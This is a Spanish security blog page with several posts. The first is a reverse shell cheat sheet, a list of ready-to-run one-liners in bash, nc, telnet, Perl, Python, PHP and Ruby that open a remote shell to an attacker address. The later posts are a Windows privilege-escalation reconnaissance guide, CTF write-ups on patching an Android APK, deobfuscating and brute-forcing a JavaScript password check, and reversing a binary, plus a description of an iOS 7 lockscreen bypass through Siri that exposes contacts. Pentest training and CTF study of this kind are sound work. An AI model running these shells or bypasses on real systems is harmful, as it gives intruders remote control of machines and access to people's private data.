Un blog de Seguridad Informática, desde un punto de vista tecnológico

Uncategorized

Simple Reverse Shell Cheat Sheet

El objetivo de este post es facilitar un pequeño listado de algunas maneras fáciles y simples de implementar una reverse shell, algo que tarde o temprano siempre se utiliza en un pentest.

Una reverse shell consiste en crear una conexión remota desde la máquina víctima hacia la máquina atacante, por ejemplo desde una máquina ubicada en una red interna hacia la máquina atacante en Internet, siendo una técnica muy útil para realizar la evasión de un firewall que bloquee las conexiones entrantes a la red interna pero no las conexiones salientes desde la red interna hacia el exterior.

La manera más simple de conseguir una reverse shell es ejecutar un simple netcat “nc -e”, sin embargo, según qué versión de nc haya instalada hay opciones que pueden no funcionar igual, en este caso, el parámetro  “-e”. Por ejemplo, en Kali funciona pero no así en Ubuntu. Para saber qué versión está instalada de “nc” ejecutar “nc -h”.

Para practicar con las reverse shells, en el cliente (máquina atacante, que recibirá la reverse shell) ejecutar el comando “nc -nlvp 8080” para crear una conexión “escuchando” y en el servidor (máquina victima, ordenador que enviará la shell hacia la máquina atacante) ejecutar la reverse shell específica que se desee probar.

En todos los casos, se ha de substituir la dirección IP “192.168.1.49” y el puerto 8080 por la dirección IP y el puerto de la máquina atacante.

Bash Reverse Shell

Mediante el uso de /dev/tcp

  • /bin/bash -i > /dev/tcp/192.168.1.49/8080 0<&1 2>&1

Mediante el uso named pipes

  • rm /tmp/blackpipe;mkfifo /tmp/blackpipe;cat /tmp/blackpipe|/bin/sh -i 2>&1|nc 192.168.1.49 8080 >/tmp/blackpipe
  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && nc 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante telnet

  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && telnet 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante el uso de descriptores

  • 0<&196;exec 196<>/dev/tcp/192.168.1.49/8080; sh <&196 >&196 2>&196
  • exec 5<>/dev/tcp/192.168.1.49/8080 cat

<&5 | while read line; do $line 2>&5 >&5; done

o bien:

cat <&5 | while read line; do $line 2>&5 >&5;

Perl Reverse Shell

  • perl -e ‘use Socket;$i=”192.168.1.49″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  • perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Y si el sistema objetivo es Windows:

  • perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Python Reverse Shell

  • python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.49”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Php Reverse Shell

  • php -r ‘$sock=fsockopen(“192.168.1.49”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Ruby Reverse Shell

  • ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
  • ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.1.49″,”8080″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Y si el sistema objetivo es Windows:

  • ruby -rsocket -e ‘c=TCPSocket.new(“attackerip”,”4444″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Más información

Indicar que todas las reverse shell descritas aquí han sido probadas con éxito en fecha 17 de Abril de 2016 con una distribución Kali como cliente y una distribución Ubuntu como servidor

Por último, se indican algunas de las fuentes más relevantes consultadas para la realización de este pequeño post:

  1. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  2. http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  3. http://bernardodamele.blogspot.com.es/2011/09/reverse-shells-one-liners.html
  4. https://linuxprograms.wordpress.com/2008/02/14/fifo-named-pipes-mkfifo-mknod/

Escalada de privilegios en sistemas Windows (I)

En esta serie de posts hablaremos de cómo realizar una escalada de privilegios en un sistema Windows, es decir, llegar a ser SYSTEM desde una cuenta de usuario sin privilegios.

En ocasiones la principal estrategia utilizada se basa en probar exploits para la versión de windows del objetivo, y aunque esto puede ser efectivo un gran numero de veces, queremos presentar una breve guía divida en fases que permitan al pentester realizar la escalada de privilegios de una forma ordenada, eficiente y probando diferentes vectores de ataque.

Remarcar que actualmente existen muchas referencias en Internet que tratan este tema siendo algunas de las principales las mencionadas a continuación: 

  1. FuzzySecurity
  2. Encyclopaedia Of Windows Privilege Escalation – Brett Moore
  3. Windows Attacks At Is The New Black – Rob Fuller And Chris Gates
  4. Windows Privilege Cheatsheet
  5. Windows_Services – All roads lead to SYSTEM
  6. Windows privilege escalation

En nuestro caso queremos hacer una síntesis de ellas y explicarlas paso a paso, sin embargo, señalar que queda fuera del alcance de este post como conseguir la Shell en el sistema.

Aclarado todo, empecemos, tenemos una Shell en una maquina Windows, molto benne…¿y ahora que demonios hacemos?

¿Dónde estoy? ¿Qué es ESTO? – Information gathering

Bien, en estos momentos, disponemos de una Shell en un sistema Windows. Antes de lanzarnos al ataque y disparar a todo lo que se mueva, es esencial realizar la fase de Information gathering. 

Lo principal es no obcecarse con ser SYSTEM, primero hay que conocer el entorno, cuanta más información  se tiene del activo más fácil es detectar un posible fallo de seguridad.

Información general

Sin ninguna duda, lo primero es obtener la versión exacta de Windows (OS Version) y (OS Name)  y información genérica. Para este propósito, se ejecuta el siguiente comando:

  • systeminfo

systeminfo7

 

  • Otra posibilidad: systeminfo | findstr /B /C:”OS Name” /C:”OS Version” (ojo con los idiomas)

systeminfoxp

 

Ok, ahora vamos a saber como se llama el host, que aunque parezca no relevante, siempre nos puede aportar información o alguna pista.

  •  hostname

hostname

 

Finalmente, es el momento de saber con que usuario estamos logged en el sistema, a lo mejor ya somos admin y no hace falta hacer nada más, aparte de celebrar una gran fiesta.

  • echo %username%

username

 

  • whoami

whoami

Información sobre usuarios

Siguiente paso, todo sistema operativo tiene usuarios que lo utilizan, miremos que usuarios tiene nuestro objetivo:

  • net users – net user $name_user

netusers

Vaya vaya Joe, además del usuario “Administrador” también existe el usuario “Nyanyi” que pertenece al grupo “Administradores”…..uhmm….interesante. Con este simple comando acabamos de ampliar las opciones de ataque.

Información de red

¿Está el host solo en el mundo? ¿en que red está? ¿con que máquinas habla?.  Tener la respuesta a estas preguntas podría ser la puerta de acceso a otras máquinas del entorno, imaginar que se puede alcanzar el ansiado SYSTEM en esta máquina pero si dirigir el pentest a otras máquinas .

Por otra parte, es muy útil conocer que servicios están a la escucha en el activo,que conexiones hay con otras máquinas. Quién sabe, a lo mejor algunos de los servicios publicados es vulnerable…

Los comandos a ejecutar serían los siguientes:

  • ipconfig /all
  • route print
  • arp -A
  • netstat -ano

ifconfig

 

route

 

netstat

 

Nota: A partir de XP SP2 utilizar los siguientes comandos para obtener información sobre el Firewall de la máquina:

  • netsh firewall show state
  • netsh firewall show config

firewall

Información sobre los servicios

Hasta este punto, se ha hablado sobre cómo obtener información general del sistema, que usuarios tiene y que comunicaciones hay a nivel de red. Uno de los últimos puntos a tratar en esta introducción  son las “tareas” o “servicios” existentes en la máquina.

De momento, sin querer entrar en detalle, un servicio no es más que la ejecución, en segundo plano, de un binario. Por lo tanto, hay 3 conceptos claves:

      • Binario que determina que acciones realizara el servicio.
      • Usuario que ejecuta el servicio.
      • Los privilegios del servicio, por ende, serán los mismos que los del usuario.

Los comandos a ejecutar para obtener la información relacionada con los servicios son los siguientes:

  • schtasks /query /fo LIST /v | more (tareas programadas)

servicios1

  • tasklist /SVC (servicios relacionado con su proceso)

tasklist

  • net start

netstart

  • sc queryex type= service state= all | find “$_NAME” (hablaremos más adelante de este comando (thanks P4chul0).

Conclusiones de la fase I

Con toda la información que hemos obtenido es el momento de realizar una primera iteración con el objetivo de lograr System, o en su defecto, un usuario administrador.

Pruebas a realizar:

  1. Tenemos el nombre de los usuarios, a lo mejor, hay alguno de ellos sin contraseña o que ésta sea su mismo nombre. O inclusive, que la contraseña sea el nombre del hostname….por qué no?.
  2. Se puede buscar su nombre de usuario en Checkusernames con la idea de obtener aún más información de redes sociales.
  3. Probar los usuarios en otras máquinas de la red.
  4. ¿Hay algún servicio publicado vulnerable?
  5. Imaginar

Si nada de esto funciona, pasaremos a la fase II. Es esencial recopilar toda la información obtenida en esta fase, porque cualquier dato obtenido puede ser la clave que nos ayude en procesos futuros más complejos, por ejemplo, la búsqueda de un exploit o una reverse shell por un puerto que no este cerrado por el firewall…

 


Write-up del 2º Reto del CTF de la No cON Name 2013

Buenas a todos!

Vamos a cerrar el fin de semana y ésta cadena de posts exponiendo la solución al segundo reto del CTF de las NoConName 2013 que se celebró el pasado fin de semana.

El juego consistía en una aplicación Android (.APK) que debía ser descargada de la pagina oficial del CTF.

Una vez instalada en el emulador o dispositivo, a nuestro pesar observamos que ésta no se ejecutaba correctamente, dando lugar a un error desconocido de entrada.

Rascando los ficheros de log del dispositivo mediante la aplicación CatLog, pudimos observar que algo no funcionaba correctamente en la aplicación, concretamente se mostraba el mensaje de error que se muestra a continuación:

screenshot-1380333703143

Efectivamente, parecía que había algún tipo de error producido por un fichero Manifest.xml mal generado.

Para obtener el fichero Manifest.xml primero hay que decompilar el código fuente de la aplicación. Para ello se utilizó la herramienta APKTOOL:

Una vez instalada la herramienta en el sistema, obtener el decompilado de la aplicación , y consecuentemente el fichero Manifest.xml, ejecutando lo siguiente:

root@bt:~/Desktop# apktool d level.apk
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
root@bt:~/Desktop#

A continuación se muestra el fichero Manifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.facebook_ctf.challenge"
 xmlns:android="http://schemas.android.com/apk/res/android">
 <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/ic_launcher">
 <activity android:label="@string/title_activity_main" android:name="com.facebook_ctf.challenge.MainActivity">
 <intent-filter>
 <action android:name="android.intent.action.MAIN" />
 <category android:name="android.intent.category.LAUNCHER" />
 </intent-filter>
 </activity>
 <activity android:label="@string/title_activity_main" android:name="com.facebook_ctf.challenge.MainActivity" />
 </application>
</manifest>

Cómo se puede observar, hay dos MainActivity definidas, lo cual ocasiona un conflicto que evita que la aplicación pueda ser iniciada correctamente. Eliminando una de las dos líneas que definen el MainActivity será suficiente para que la aplicación sea ejecutada correctamente.

Una vez modificado el fichero Manifest.xml, hay que volver a recompilar la aplicación. Para ello volvímos a utilizar la herramienta APKTOOL pero ahora además es necesario el empleo de JARSIGNER para generar la firma:

root@bt:~/Desktop# apktool b level-smali level-modified.apk
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...
root@bt:~/Desktop# java -jar signapk.jar testkey.x509.pem testkey.pk8 ../level-modified.apk ../level-modified-signed.apk

Al instalar de nuevo la aplicación, ya pudimos ver de que se trataba:

screenshot-1380334377050

La aplicación básicamente funciona de la siguiente forma: Dispone de un botón con la etiqueta “Gimme Gimme!” mediante el cual, cuando se hace TAP sobre él, se muestra una imágen en la aplicación. Concretamente en la aplicación original se muestra de forma aleatória una de las imágenes almacenadas en la carpeta resource de la aplicación:

Screen Shot 2013-10-06 at 8.34.46 PMNo hace falta mucha ingeniería inversa para poder comprobar que las imágenes que se muestran son fragmentos de un código QR que, tal como ya os habréis imaginado, habrá que reconstruir. Así que, Let’s go!

Mediante el proceso de decompilado anteriormente mencionado, también se obtiene el código Dalvik de la aplicación que procederemos a comentar a continuación. No obstante, con la finalidad de poder comprender mejor el funcionamiento de la aplicación, antes de meternos en detalle en el código Smali, primero se procedió a pasar el código almacenado en el fichero classes.dex a Java para sacar un poco de luz al asunto.

Para esta tarea se hizo uso de la herramienta DEX2JAR:

  • DEX2JAR – http://code.google.com/p/dex2jar/

El uso de la herramienta es bastante simple. Solamente es necesario descomprimir el fichero APK (p.ej. con el comando unzip) y posteriormente ejecutar lo siguiente con el fichero classes.dex obtenido:

/dex2jar-0.0.9.15/d2j-dex2jar.sh classes.dex

Mediante la ejecución de dicha herramienta, en conjunto con el uso de JD-GUI, fue posible obtener el código fuente en JAVA, donde se pudo observar cómo en la clase MainActivity se pinta la imágen escogida aleatoriamente. Concretamente se realiza en la función “yaaaay()” mediante la variable “localBitmap17”:

int i = new Random().nextInt(localArrayList.size());
   makeMeHappyAgain(makeMeHappy(localBitmap1, localBitmap2, localBitmap3, localBitmap4), makeMeHappy(localBitmap5, localBitmap6, localBitmap7, localBitmap8), makeMeHappy(localBitmap9, localBitmap10, localBitmap11, localBitmap12), makeMeHappy(localBitmap13, localBitmap14, localBitmap15, localBitmap16));
   Bitmap localBitmap17 = (Bitmap)localArrayList.get(i);
   this.secret.setImageBitmap(localBitmap17);

La función “makeMeHappyAgain”, analizando el código se observó que era la responsable de maquetar el código QR correctamente (bueno casi, pero eso lo veremos más adelante :-P), por lo que por el momento, únicamente había que modificar el código Smali para que en lugar de pintar por pantalla la imagen aleatória almacenada en “localBitmap17”, se pintara el resultado de la llamada a la función “makeMeHappyAgain”:

Screen Shot 2013-09-28 at 4.20.42 AM

En la imágen anterior, se puede apreciar cómo se modificó el código Smali original para que en la última llamada al método virtual “setImageBitmap”, en lugar de utilizar el valor “v1”,  se utilizara el valor “v4” que es la variable resultado de la llamada a la función “makeMeHappyAgain”, definido por la  instrucción “move-result-object v4”.

Aunque a simple vista, una vez recompilado el código y ejecutado de nuevo parece ser que el código QR se genera correctamente, realmente no fue así 😦

Hay  dos imágenes que no están correctamente posicionadas, lo cual no nos permitía escanear correctamente el QR y obtener la clave del reto. Para ello hay que hacer otra modificación del código Smali para hacer swap de las imágenes “c.png” (0x7f040002) y “g.png” (0x7f040006). Para obtener la relación entre las imágenes y sus correspondientes  identificadores Hex hay que consultar el fichero “public.xml” almacenado en la carpeta  de los resources (res) de la aplicación.

A continuación se muestra el código resultante de dicha modificación:

Screen Shot 2013-09-28 at 4.22.51 AM

Finalmente, una vez recompilada, refirmada y reinstalada la aplicación se puede observar el código QR generado correctamente:

welldone

Y posteriormente, una vez escaneado, obtuvimos la SECRET KEY del Reto:

screenshot-1380333471692

Solo nos queda felicitar a los 12 equipos que se han clasificado en la final que se celebrará el día 1 de Noviembre en el congreso NoConName 2013:

Screen Shot 2013-10-06 at 8.16.14 PM

……y decir que logramos clasificarnos en 7º posición 😉

Así que nos vemos en la final!


Reto 1 del CTF de las No cON Name 2013

Hola a todos, hola a tothom!

Mi nombre es Ignasi M. (ny4nyi) y he tenido el placer de ser invitado a participar en este blog. Es todo un honor. Espero que todo lo que pueda aportar os sea útil y disfrutéis!

Sobretodo, dar las gracias a Julian y a todo el equipo por darme esta oportunidad de poder participar con gente tan grande.

Ahora, a por materia.

El primer reto del CTF NoConName 2013 consistía en una página web que solicita una clave secreta para superar el reto.

Paso 1

La primera aproximación fue probar un número aleatorio para estudiar el comportamiento normal de la página. Obviamente, se produce un error de “Clave incorrecta” y se sigue en la misma página inicial (ya hubiera sido la ostia acertar a la primera ).

Una vez se conoce el comportamiento estándar de la página, se realizó un estudio del código fuente de la misma, y se encuentra lo siguiente:

   <head>

    <title>NcN 2013 Registration Quals</title>

    <link rel=”stylesheet” href=”../res/main.css” type=”text/css” media=”screen”/>

    <link href=’../res/UbuntuMono.css’ rel=’stylesheet’ type=’text/css’>

    <meta content=”Javier Marcos @javutin” name=”author” />

    <script type=”text/javascript” src=”crypto.js”></script>

  </head>

La página carga un “js” de nombre “crypto.js” que es el responsable de realizar la validación. Resaltar que al tratarse de un “js” se ejecuta en el navegador del cliente, no en servidor. Por lo tanto, el siguiente paso a seguir es realizar un estudio del código del “js” y entender su lógica/funcionamiento para identificar la posible manera de evadir o hallar la clave secreta de forma exitosa.

Se accede al archivo “cryto.js” para obtener su código fuente. Es algo tan bonito como esto:

var_0x52ae=[“\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D”,”\x7C”,”\x73\x70\x6C\x69\x74″,”\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65″,””,”\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65″,”\x72\x65\x70\x6C\x61\x63\x65″,”\x5C\x77\x2B”,”\x5C\x62″,”\x67″];eval(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));};if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3-)_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3–){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));

Como se puede ver, el código del “js” esta ofuscado (lastima, habrá que currar más). Ha de quedar claro que esta ofuscado, NO cifrado.

Si se disecciona el código, a grandes rasgos se puede detectar lo siguiente:

  • Una variable de nombre “var_0x52ae” : Parece ser un vector donde el valor de cada posición está representado en código hexadecimal. Recordar que si un valor se escribe como “\x” significa que se representa en sistema hexa.
  • Una función eval: Definición purista, “Si el argumento es una expresión, eval () evalúa la expresión. Si el argumento es una o más sentencias JavaScript, eval () ejecuta las sentencias.”
  • La definición de funciones: Por ejemplo, “function (_0x7038x1,…)”
  • La llamada de funciones: Por ejemplo, “(_0x52ae[0],46,46,_0x52ae[3])”

Aclarar que en las definiciones de las funciones se ven nombres de parámetros tal que “_0x_7038x1” pero se desconoce su valor. Esto es porque en una declaración de función se puede dar cualquier nombre al parámetro, que luego éste recibirá el valor del parámetro usado en la llamada. En resumen, cuando se llame a la función, el valor del parámetro será el siguiente:

_0x7038x1=_0x52AE[0]=”\x66…..\7D”.

Paso 2

Para desofuscar el código js se pueden utilizar diferentes recursos online en la red, o simplemente, modificar la función “eval” por una función “alert” que se encargara de imprimir en una ventana la representación del código sin ofuscar, ya que interpretara todos los valores hexadecimales posibles como caracteres.

El resultado es el siguiente:

Imagen

El código sin ofuscar es:

Function simpleHash(str) {

var i, hash = 0;

for (i = 0; i < str.length; i++) {

hash += (str[i].charCodeAt() * (i + 1))

}

return Math.abs(hash) % 31337

}

 function ascii_one(foo) {

foo = foo.charAt(0);

var i;                              

for (i = 0; i < 256; ++i) {

var hex_i = i.toString(16);

if (hex_i.length == 1) hex_i = “0” + hex_i;

hex_i = “%” + hex_i;

hex_i = unescape(hex_i);

if (hex_i == foo) break

}

return i

}

 function numerical_value(str) {

var i, a = 0,

b;

for (i = 0; i < str.length; ++i) {

b = ascii_one(str.charAt(i));

a += b * (i + 1)

}

return a

}

function encrypt(form) {

var res;

res = numerical_value(form.password.value);

res = res * (3 + 1 + 3 + 3 + 7);

res = res >>> 6;

res = res / 4;

res = res ^ 4153;

if (res != 0) {

alert(‘Invalid password!’)

} else {

alert(‘Correct password :)’)

}

form.key.value = numerical_value(form.password.value);

form.verification.value = “yes” + simpleHash(form.password.value);

return true}

Paso 3

La lógica general de este código es la siguiente:

  1. La función “numerical_value” recibe el valor o cadena “X” que introduce el usuario en la página web y retorna un valor resultado que es la suma de cada carácter de la cadena X en su correspondiente valor decimal ASCII multiplicado por el resultado de la suma del valor de la posición del carácter en la cadena X +1
  2. La función “encryp” se encarga primero de aplicar varias operaciones sobre el valor retornado por la función “numerical_value” y después compara este valor “final” con 0. Si la comparación es cierta, el password (cadena “X”) introducida por el usuario es correcta.
  3. Estudiando con más detalle la función “encrypt” se determina que el valor “final” ha de estar entre el siguiente rango de valores :62540-62554.

Ya con esta información clara el último paso es introducir, mediante técnicas de “brute forcing”, una cadena de valores/caracteres que después de ser tratada por la función “numerical_value” de un valor que pertenezca al rango deseado.

En este caso se encontró la siguiente cadena:

ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZNR

Se introdujo esta cadena en la página web y tachan!:

Congrats! you passed the level! Here is the key:

23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8

Twitter: @Ny4nyi


Bypassing iOS 7 lockscreen with Siri

Hola a todos,

mi nombre es Álex Soler y he tenido el placer que ser invitado a aportar todo lo que pueda y más a la comunidad de (in)seguridad a través de este blog. Así que espero no decepcionaros 🙂

A raíz de las múltiples vulnerabilidades de bypass del lock screen que tanta fama han ganado en las distintas versiones de iOS publicadas, se nos ocurrió estudiar este fenómeno más en detalle y comprobar qué grados de libertad ofrece una vulnerabilidad de este tipo.

Para empezar a calentar, procedimos a analizar las últimas vulnerabilidades de bypass publicadas en la primera release de iOS 7, concretamente las que hacen referencia a los identificadores CVE-2013-5160 y CVE-2013-5161.

La primera vulnerabilidad (CVE-2013-5160) permite que cualquier persona con acceso al dispositivo pueda realizar llamadas sin conocer el código de desbloqueo del mismo. mediante el uso de la funcionalidad de llamadas de emergencia.

La segunda vulnerabilidad (CVE-2013-5161) permite acceder a las fotos realizadas mediante una combinación de teclas realizada en la vista “Temporizador”. Concretamente consiste en habilitar la vista en la que aparece la opción “Apagar” y posteriormente cancelarlo a la vez que se presiona dos veces el botón “Home”, cómo si quisiéramos abrir el listado de aplicaciones abiertas en el dispositivo. A continuación se abrirá la vista del listado de aplicaciones abiertas y se permitirá acceder a información personal del teléfono cómo por ejemplo las fotos o los contactos.

Vamos a centrarnos en la segunda para lo que realmente precede en la presente entrada de blog. En el siguiente vídeo puede observarse cómo se explota la vulnerabilidad mencionada:

En el anterior vídeo se puede observar cómo es posible acceder tanto a las fotos como a los contactos como bien prometía la descripción de la vulnerabilidad, no obstante, cabe destacar tal como se observa en el vídeo que aunque sí se dispone de acceso a la agenda de contactos, no es posible acceder a los respectivos números de teléfono.

Pero esto no nos supone un problema, en este caso podremos recurrir a nuestra gran amiga/amante en el mundo iOS: SIRI.

 siri

Curiosamente muchos usuarios de iPhone hacen uso de esta magnífica funcionalidad que permite hacer uso de nuestro dispositivo sin ni siquiera tocar una tecla. Algunos ejemplos indicados en la propia ayuda son los siguientes:

  • Abre Fotos
  • Abrir aplicación Contactos
  • Abre Fotos
  • Llamar
  • Etc…

Algunas funcionalidades del Siri, como por ejemplo acceder a la aplicación contactos o ver los correos, te piden el correspondiente código PIN. No obstante, como es de suponer, otras no.

En el siguiente vídeo, se puede observar cómo es posible acceder a la agenda (incluídos los números de teléfono) a través de Siri. El truco consiste en nombrar una cadena de texto que se encuentre dentro de un contacto existente en la agenda. (por ejemplo, la cadena “No Se” haría referencia a contactos como “Sergio”):

En la versión de iOS 6, el acceso a los contactos se rige al puro estilo “Brute Force”, probando cadenas que estén contenidas en los contactos e ir llamándoles para obtener sus números. En cambio en la versión de iOS 7 la tarea es mucho más simple, dado que a través del botón “Otros” podremos acceder a la agenda al completo.

Recientemente ya se ha reproducido el mismo problema mediante otras técnicas de Bypass combinadas con el uso de Facetime:

http://thehackernews.com/2013/09/another-iphone-lockscreen-bypass.html

Cómo solución a este tipo de problemas, lo más sensato es deshabilitar el uso de Siri en el screen lock como se muestra a continuación, algo que personalmente pienso debería estar deshabilitado por defecto:

photo

Así que, ¿Seguís confiando en Siri?


CTF de la No cON Name 2013 (write-up)

Buenas a todos,

después de algún tiempo sin nuevas entradas en el blog, hemos pensado que una buena forma de regresar sería publicando nuestras soluciones a los retos de la ronda clasificatoria del primer CTF que se organiza en las conferencias No cON Name, en este año 2013.

Esta ronda de clasificación ha consistido en la resolución de un juego de estilo “Jeopardy”, consistente en 3 niveles. El primero de ellos relacionado con Web, el segundo con Android y el tercero con reversing de binarios.

Imagen

 

En este post describiremos cómo solucionamos el nivel 3, en el que se entregaba un binario de tipo ELF de 64 bits. Al ejecutarlo mostraba lo siguiente:

De forma que al escribir, el programa finalizaba indicando el siguiente mensaje:

Para resolver el desafío hicimos un desensamblado del binario, y analizamos su comportamiento. En primer lugar el programa imprimía por pantalla el texto que hemos podido ver anteriormente:

Imagen

 

A continuación entraba en un bucle de 10 iteraciones, en el que se van leyendo los caracteres introducidos por el usuario y se comparan con el contenido de la variable “facebookctf_rocks”. Esta variable es un array de DWORDs, en las que el byte más significativo de cada DWORD contiene el valor que va a comparar con el carácter introducido por el usuario, y los otros 3 bytes de la DWORD son ceros.

Imagen

 

El contenido de la variable “facebookctf_rocks” es el siguiente:

20 00 00 00

53 00 00 00

55 00 00 00

52 00 00 00

50 00 00 00

52 00 00 00

49 00 00 00

53 00 00 00

45 00 00 00

21 00 00 00

Y teniendo en cuenta lo explicado anteriormente, se corresponde con la cadena “\x20\x53\x55\x52\x50\x52\x49\x53\x45\x21”, o lo que es lo mismo ” SURPRISE!” (con un espacio al principio). 

Si introducimos esa cadena, el programa muestra el siguiente mensaje:

 

